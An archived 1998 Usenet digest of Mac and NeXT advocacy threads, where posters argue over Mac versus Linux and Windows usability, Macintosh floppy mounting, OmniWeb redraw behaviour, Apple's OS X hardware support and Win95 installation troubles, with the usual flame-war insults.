Message-ID: <35e195df.0@news.depaul.edu>
Date: 24 Aug 98 16:33:35 GMT
In comp.sys.next.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6rm0p9$tai$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> > > Since currently, menu-selection freezes foreground tasks in Rhapsody (or
> > > did, last I heard), menu-handling wouldn't need to change at all, only
> > > windows-handling.
> >
> > That is a definate change for the worse from OpenStep.
> I tested this because I thought it would be odd. It is odd. CD player's
> clock continues to update for instance, but OmniWeb stops filling the
> window.
Which app is active?
> I think there may be more to this.
In OpenStep 4.2, OmniWeb stops loading in all of its windows when you're
moving the scroller in one of its windows. The content will
be downloaded, but the windows won't be flushed until you stop
scrolling. Could be related.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 10:02:57 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com>
In article <6rqtpo$p7k$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> > one to BE productive (or to run such a study). Besides, you don't want to
> > see a study between Linux and Mac OR Windows. Linux' STEEP learning
> > curve alone, would put it so far back in the running, that they'd have to
> > give it a handicap JUST TO SEE IT on the charts! Not to mention other
> > drawbacks like inability to browse mounted volumes. No, this you DO
> > NOT want to see!
>
> Linux's learning curse is largely irrelevant to productivity. Once you have
> learned the system, the learning curve won't affect your rate of task
> accomplishment. What fraction of your total time using a system do you think
> is spent learning how to use it? It took me about a week to learn how to use
> Linux competantly. And what does your second to last sentence mean? There are
> plenty of file browsers for Linux.
Because the learning curve IS one of the factors which affects productivity, its
one of the reasons the Mac's productivity is so high, its easy to learn.
Windows
is somewhat harder, Linux is very difficult. I've never seen a file bowser for
Linux which showed all mounted volumes in any meaningful and useful way.
All I've ever seen make you 1) know the device/partition number of each volume,
and 2) navigate to it using a CLI path statement. Also, Every X-Windows file
manager I've ever seen requires a CLI "mountflop" command to mount a floppy,
and a "umountflop" command to unmount one, and finally an "eject" to spit it out
(on machines with auto-eject floppies like Macs, Suns etc.). Then of
course, there
is the requirement that YOU the user make your own icons and link them to the
applications and files that they launch. All of these things impact
productivity,
make the machine more support intensive, and thus costlier to run in a business
environment. Playing with it for fun because you like to mess with OS's is
something else again.
George Graves
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 13:10:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E1AC7F.B1A872BE@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
George Graves wrote:
> Also, Every X-Windows file
> manager I've ever seen requires a CLI "mountflop" command to mount a floppy,
> and a "umountflop" command to unmount one, and finally an "eject" to spit it out
> (on machines with auto-eject floppies like Macs, Suns etc.).
Volumes must be mounted and unmounted. It doesn't matter what system you
use. If you use a Mac, you pay the price in speed, waiting around while
every access to a removable file system determines whether it is safe to
use the volume or not, sometimes re-retrieving filesystem info because
the Disk Cache setting is too low. How sophisticated. The result is that
floppies are basically unusable (not to mention unsafe) on the
Macintosh, all for the sake of avoiding a mount/unmount command.
> Then of
> course, there
> is the requirement that YOU the user make your own icons and link them to the
> applications and files that they launch. All of these things impact
> productivity,
> make the machine more support intensive, and thus costlier to run in a business
> environment. Playing with it for fun because you like to mess with OS's is
> something else again.
This probably impacted you because you were playing around with it.
That's cool, lots of people spend hundreds of man-hours browsing the Web
for icons and the like. This is no different from the Macintosh, whose
users browse for Kaleidoscope themes and other silly tacky add-ons.
On the other hand, if you decide to stop playing around your
productivity goes up rather quickly.
MJP
From: qed@pobox.com (Paul Hsieh)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Mon, 24 Aug 1998 13:41:51 -0700
Organization: MindSpring Enterprises
Message-ID: <MPG.104b6fef566485199896cd@nntp.mindspring.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <01bdc4d6$87897560$74b4dccf@samsara> <joe.ragosta-1008982120540001@elk41.dol.net> <01bdc4f2$6efb88f0$a6b4dccf@samsara> <slrn6u1bsg.s1p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NOSPAMmbkennelNOSPAM@yahoo.com says...
> Unless Microsoft is broken up and the application division left to
> make profit or loss on its own, Apple had better start preparing for a
> future without Office.
Or more to the point, Apple employees has better start preparing for a
future without their offices.
:o)
--
Paul Hsieh
qed@pobox.com
http://www.pobox.com/~qed/apple.html
From: qed@pobox.com (Paul Hsieh)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Mon, 24 Aug 1998 13:45:54 -0700
Organization: MindSpring Enterprises
Message-ID: <MPG.104b70e0c4a235399896ce@nntp.mindspring.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <01bdc4d6$87897560$74b4dccf@samsara> <joe.ragosta-1008982120540001@elk41.dol.net> <01bdc4f2$6efb88f0$a6b4dccf@samsara> <slrn6u1bsg.s1p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <jpolaski-2308982139050001@d153-160.ce.mediaone.net>
jpolaski@NO.wwa.com says...
> OTOH, don't think the Mac marked doesn't represent significant numbers for
> M$. They would feel the demise, in more ways than one, if Apple were to
> fail. It would probably be the final nail in the DOJ action for one, not
> to mention revenue..
That's an interesting point. Probably the only reason why we aren't
seeing Apple at these hearings, and otherwise jumping up and down about
the DOJ case against Microsoft, is that there is some deal going on
regarding Office, the $150Mill and Apple keeping its moouth shut. That's
the only justification I can see for Microsoft to help out Apple in this
way.
--
Paul Hsieh
qed@pobox.com
http://www.pobox.com/~qed/apple.html
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey7nFp.2uK@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com>
<gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com>
Mime-Version: 1.0
Date: Mon, 24 Aug 1998 20:26:12 GMT
In <35E1AC7F.B1A872BE@ericsson.com> Michael Peck wrote:
> Volumes must be mounted and unmounted. It doesn't matter what system you
> use. If you use a Mac, you pay the price in speed, waiting around while
> every access to a removable file system determines whether it is safe to
> use the volume or not, sometimes re-retrieving filesystem info because
> the Disk Cache setting is too low. How sophisticated. The result is that
> floppies are basically unusable (not to mention unsafe) on the
> Macintosh, all for the sake of avoiding a mount/unmount command.
The system does not "wait around" looking at the volumes. Your claims
about floppies are simply stupid, let alone unfounded and unclear. How
exactly is a floppy "unusable" on the Mac?
> This probably impacted you because you were playing around with it.
> That's cool, lots of people spend hundreds of man-hours browsing the Web
> for icons and the like. This is no different from the Macintosh, whose
> users browse for Kaleidoscope themes and other silly tacky add-ons.
Clearly he was referring to needing to hand-create links between documents
and the applications used to open them. He also seemed to be implying that
you had to do this for _all_ files, but this is of course not true.
Maury
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 13:31:51 -0700
Organization: UC Irvine
Message-ID: <atlauren-2408981331520001@jungleland.acs.uci.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com>
_3;X4o1Yg^$]=Oc\u
In article <35E02675.2083D9CC@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>> When buying Macs, the process is *much* simpler, takes less time, and I
>> don't have to deal with the nonsense of unknown vendor reliability, yadda
>> yadda yadda. Thus, it's the process of a single vendor makes the buying
>> process *much* more productive, as it's completed in a fraction of the
>> time.
>
>Well, I could buy from Micron, Dell or Compaq if I choose.
Yes, you could. And you just increased the your purchase process time
(investment) by a factor of 300%. Not productive.
>The difference, of course, is that if I discover that Apple was wrong in
>its choice of components in my iMac, there is absolutely nothing I can
>do about it.
Historically, Apple makes excellect choices in their components. Their
track record in this regard is one of the reasons I buy their products;
they do quite a good job (even in their most sucking years) which means
that I don't have to spend the time researching, etc.. Thus I save money.
And once again, the current desktop hardware enclosures allow for RAM
upgrades in 30 seconds, PCI card installs in 1 minute. Every time one of
these tasks is necessary, I save from $50-$100 in billable staff time.
That's productive.
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 22 Aug 1998 12:36:40 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-2208981236410001@jp.orgk1.dial.lu.se>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <joe <jbg-1108981259520001@green.sdc.cs.boeing.com>
In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
> I personally think that Apple customers had a reasonable
> expectation, based on Apple's public statements, that any PCI Macs
> which they bought would be supported by the mainline MacOS (as well
> as Rhapsody) for an interval consistent with prior Apple machine/OS
> support. Perhaps the G3-only proposal is just a trial balloon, but
> if it is, it is one which should be criticized, rather than cheered.
>
> Apple has spent an incredible amount of money to acquire and develop
> Rhapsody technology. An investment of this magnitude only makes sense
> if that cost is spread over the greatest number of machines possible.
> Leaving a very large number of recent Mac owners (which includes a
> lot of Macs in multimedia and publishing outfits) out in the cold is
> a bad idea. OS X on non-G3 PCI Macs will not be free, but it will
> cost a pittance next to the $400 million that Apple paid for the
> technology in the first place.
>
> Apple's marketing will be in an extremely awkward position if they
> try to sell Macs on the clear superiority of OS X, while at the same
> time telling users with large investments in existing Apple gear that
> either (1) you'll have to replace all of it or (2) OS X isn't really
> that big an improvement for the average user. (1) will result in a lot
> of push-back from corporate types and (2) is not only a non-starter
> marketing-wise, but is also just plain wrong, IMHO.
>
> I really don't think Apple can afford to alienate large publishing
> shops with big investments in "upgradable" 8500/8600/9500/9600 boxes,
> many with G3 upgrades already installed.
>
> If these folks don't need Rhapsody features, who does?
When I read Jim's post, I reflected on the type of people who have
responded negatively to Apple's MacOS X hardware support plans, and
how they do it.
The arguments are rational and reasonable.
The arguments focus on customer response, and reasonable customer
expectations based on prior statements from Apple, and common
practices in the computer industry.
The posters are typically professionals.
They seem to regard computers as tools, rather than items that
you use to raise your personal status, or as toys.
Reasonable life expectancy for that tool and its' quality is
a major consideration. Put another way, support by OS provider and
3rd party suppliers is important.
They also appear generally well able to judge technical issues.
If they are knowledgeable and levelheaded on the net, odds are that
this is their off-net practise as well. They are likely to have some
resoponsibility, and others are likely to ask and take their advice.
In short, they are people whose support is important for Apple.
There is room for argument regarding whether Apple's MacOS X hardware
support plans are good for Apple or not.
But there can be no argument whatsoever that they are not in the best
interest of those Apple customers that bought PCI mac hardware.
Jim is perfectly right. Apple should be criticized on their OSX stance.
Both for their own sake as it is a seriously confidence damaging move
in the eyes of those who see computer choice as a strategic decision.
But most importantly for all customers who want their present and
future investments to be reasonably supported, as a statement of desired
support policy from Apple.
Jonas Palm
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 16:52:21 -0400
Organization: phenix@interpath.com
Message-ID: <1de9v5u.1nz0xll18s12pjN@roxboro0-009.dyn.interpath.net>
References: <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com> <gmgraves-2308981628590001@sf-usr1-42-170.dialup.slip.net> <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Michael Peck wrote:
> George Graves wrote:
>
> > Also, Every X-Windows file manager I've ever seen requires a CLI
> > "mountflop" command to mount a floppy, and a "umountflop" command to
> > unmount one, and finally an "eject" to spit it out (on machines with
> > auto-eject floppies like Macs, Suns etc.).
>
> Volumes must be mounted and unmounted. It doesn't matter what system you
> use. If you use a Mac, you pay the price in speed, waiting around while
> every access to a removable file system determines whether it is safe to
> use the volume or not, sometimes re-retrieving filesystem info because the
> Disk Cache setting is too low. How sophisticated. The result is that
> floppies are basically unusable (not to mention unsafe) on the Macintosh,
> all for the sake of avoiding a mount/unmount command.
Say what? You want to unpack that a little and site your source for it?
It sounds silly.
--
John Moreno
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net>
<35e195df.0@news.depaul.edu>
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Date: Mon, 24 Aug 1998 18:50:50 GMT
In <35e195df.0@news.depaul.edu> Jonathan W Hendry wrote:
> > I tested this because I thought it would be odd. It is odd. CD
player's
> > clock continues to update for instance, but OmniWeb stops filling the
> > window.
>
> Which app is active?
Same one both cases. IE, OmniWeb when opening OmniWeb menu, CDPlayer when
opening CDPlayer. In both cases key input stopped.
> In OpenStep 4.2, OmniWeb stops loading in all of its windows when you're
> moving the scroller in one of its windows. The content will
> be downloaded, but the windows won't be flushed until you stop
> scrolling. Could be related.
Hmmm, I'll try this too.
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 24 Aug 1998 19:12:12 GMT
Organization: University of California at San Diego
Message-ID: <slrn6u3eob.lji.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net>
On Mon, 24 Aug 1998 10:02:57 -0700, George Graves <gmgraves@slip.net> wrote:
:
:Because the learning curve IS one of the factors which affects productivity, its
:one of the reasons the Mac's productivity is so high, its easy to learn.
:Windows
:is somewhat harder, Linux is very difficult.
:I've never seen a file bowser for
:Linux which showed all mounted volumes in any meaningful and useful way.
:All I've ever seen make you 1) know the device/partition number of each volume,
:and 2) navigate to it using a CLI path statement.
There's a reason for that: on Unix, you mount drives onto a unified file
system space. /blah/blah/blah. It's not supposed to matter where the
"volume" came from.
I have no disagreement that the filebrowser (Finder) on the Mac is more
complete and generally useful, but the "volume" concept is antiquated.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 16:21:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E1D93F.6F4892A4@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com>
<gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com> <Ey7nFp.2uK@T-FCN.Net>
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Maury Markowitz wrote:
> In <35E1AC7F.B1A872BE@ericsson.com> Michael Peck wrote:
> > Volumes must be mounted and unmounted. It doesn't matter what system you
> > use. If you use a Mac, you pay the price in speed, waiting around while
> > every access to a removable file system determines whether it is safe to
> > use the volume or not, sometimes re-retrieving filesystem info because
> > the Disk Cache setting is too low. How sophisticated. The result is that
> > floppies are basically unusable (not to mention unsafe) on the
> > Macintosh, all for the sake of avoiding a mount/unmount command.
>
> The system does not "wait around" looking at the volumes.
I said that the user waits around waiting for the system to poll
volumes. If you put in a diskette the Desk Manager calls PBMountVol in
the File Manager, which puts the mounting operation into effect and
causes an indeterminate wait for the user. If you have extensions
trapping the PBMountVol call, the wait can be very long. If the system
is very confused about the status of the diskette, which can easily
happen, the wait can be indefinite. If you are using PC Exchange, your
machine may just crash.
> Your claims
> about floppies are simply stupid, let alone unfounded and unclear. How
> exactly is a floppy "unusable" on the Mac?
Unusable. Floppies on the Macintosh are excruciatingly slow to use and
have traditionally been one of the buggiest parts of the system, by far.
I've done my share of floppy-swapping for backups, thank you. There's
probably a good reason Jobs decided to leave a floppy off of the iMac.
Maybe it had something to do with avoiding
"Please insert the disk "Untitled-1"
errors for Macintosh newbies who found themselves looking at a whole
pile of blank diskettes named "Untitled-1". I remember putting up with
that when it was cool just to have a computer. Nowadays people expect to
have a system that doesn't go out of its way to make things difficult,
and the MacOS volume manager is a pretty big stumbling block.
> Clearly he was referring to needing to hand-create links between documents
> and the applications used to open them.
<quote>
Then of
course, there
is the requirement that YOU the user make your own icons and link them
to the
applications and files that they launch.
</quote>
George is probably referring to xfm or xfilemanager, one or the other. I
have no idea how these tools handle file associations in recent
incarnations, or if indeed these tools *have* recent incarnations. It
has been a very long time since I used Athena-based software like these
two.
> He also seemed to be implying that
> you had to do this for _all_ files, but this is of course not true.
KDE understands certain basic filetypes and streams through the use of
its "mime-link" encapsulation over magic(4). This understanding can be
extended by any KDE application which cares to register during
installation (or any other time, for that matter). This can be done on a
system-wide or per-user basis.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 24 Aug 1998 21:30:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rsm1j$ot6@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com> <Ey7nFp.2uK@T-FCN.Net> <35E1D93F.6F4892A4@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>I said that the user waits around waiting for the system to poll
>volumes. If you put in a diskette the Desk Manager calls PBMountVol in
>the File Manager, which puts the mounting operation into effect and
>causes an indeterminate wait for the user. If you have extensions
>trapping the PBMountVol call, the wait can be very long. If the system
>is very confused about the status of the diskette, which can easily
>happen, the wait can be indefinite. If you are using PC Exchange, your
>machine may just crash.
Perhaps, in theory. Haven't had any problems in practice.
-arun gupta
From: Patrick O'Neil <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 13:16:32 +0000
Organization: University of Utah - ACLIS
Message-ID: <35E167B0.74C@howard.genetics.utah.edu>
References: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <35d9766a.23046729@news.calweb.com>
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NNTP-Posting-Date: 24 Aug 1998 19:29:02 GMT
Originally, I jumped into this endless thread (it is just
the same old Mac vs PC stuff that forever lives on the
usenet) by stating that there is essentially no difference
in ease of installation between MacOS and Win95 (and OS/2).
I now take that back. I recently had to purchase a new
Win95 OSR2 CD and install it anew on my PC. I had to totally
reformat the Win95 partition, etc. The pre-OSR2 Win95 I used
to have installed perfectly, no hassles. With this new CD,
I have tried 5 separate times to install Win95 on my computer
to no avail.
It starts just fine, installs everything fine, asks the
right questions (do I want this or that support installed?)
but at the end, when it reboots for the first time after the
installation, it craps out and tells me there is a problem
with the registry and that I should replace it with a backup
old copy from a known working session. HAH! There IS no
backup. This is essentially a totally new, virginal install
so there can be no backup registry.
OS/2 AND linux both love my computer. They installed flawlessly
and run flawlessly, but Win95 just can't hack it. It apparently
installs/creates a totally screwed registry at the get-go.
F*ckin' M$ and their goddamn registry crap.
ANYTHING is better than trying to install a faulty os (that would
be M$ products of any kind...I NEVER claimed to be an M$ fan -
quite the opposite, actually, but MacOS IS a better installation
experience than Win95).
patrick
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Mon, 24 Aug 1998 21:59:08 GMT
Organization: UUNET Internet Africa
Message-ID: <35e1ccef.112541796@news.iafrica.com>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <Pine <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <6rrt1k$18$1@news.spacelab.net>
On 24 Aug 1998 14:23:48 GMT, "Charles W. Swiger" <chuck@codefab.com>
>seanl@cs.umd.edu (Sean Luke) wrote:
>Speaker design is both an art and a science. There are so many tradeoffs
>between costs, materials, design, cross-over points, and what have you that
>there are legitimate reasons why even very expensive speakers do not sound
>alike.
There's another factor too; unlike an amplifier stage, you can't
compare "before" and "after" waveforms on a 'scope to dial in perfect
reproduction. What do you use to measure the "after" with? The
legindary perfect mike, at the legendary perfect position in a
legendary perfect room? So subjection's still a big part of speakers.
When I bought my last pair, I took a known LP to a shop, went into the
listening room, and asked them to swich speakers without telling me
which I was listening to. I bought the ones I liked the best. Dunno
if they were the best or most accurate though...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
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References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com>
<Ey7nFp.2uK@T-FCN.Net> <35E1D93F.6F4892A4@ericsson.com>
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Date: Mon, 24 Aug 1998 22:44:55 GMT
In <6rsm1j$ot6@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> >
> >I said that the user waits around waiting for the system to poll
> >volumes. If you put in a diskette the Desk Manager calls PBMountVol in
> >the File Manager, which puts the mounting operation into effect and
> >causes an indeterminate wait for the user. If you have extensions
Michael's post didn't make it here, I assume he was replying to me?
Regardless the above is wrong, the floppy insert is an interrupt AFAIK, and
not polled at all. The fact that the mount process takes xxx time is
meaningless to the original claim that this results in specific waits, and in
no way supports the earlier claim that there's polling going on. The only
polling I know that's going on is on the AppleTalk side, and that also has
some supporting interrupts as well.
Nor does it demonstrate how the floppy is "unusable", unless this is the
justification...
> >trapping the PBMountVol call, the wait can be very long. If the system
> >is very confused about the status of the diskette, which can easily
> >happen, the wait can be indefinite. If you are using PC Exchange, your
> >machine may just crash.
Of course the "very long" wait is about 5 seconds on every machine I've
used, maybe as long as 10 on a Plus. Every machine I've owned has had PC
Exchange on it, and I have _never_ seen or heard of a crash related to this.
Nor is any attempt to produce a causal relationship between the wait time and
these mythical crashes noted.
Michael, your apparent hatred of all things Apple is now leading you to
sound ever more like a brainless dolt. The "problems" you describe above
appear to be largely mythical, or at best blown completely out of proportion,
and add nothing to the thread. Yet you apparently don't think twice before
posting moronic statements like the "floppy is unusable".
We've been down this road before Michael. You wrote to me saying that we
likely agree on most points - a statement I agree with BTW - but that you
couldn't understand why we end up at loggerheads. Then you post something
moronic like this. You want me to treat your comments with respect and stop
calling you out for them? Fine, stop posting these bogus comments and
wrapping them in hyperbole.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 16:40:30 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E1DDCE.1273F262@ericsson.com>
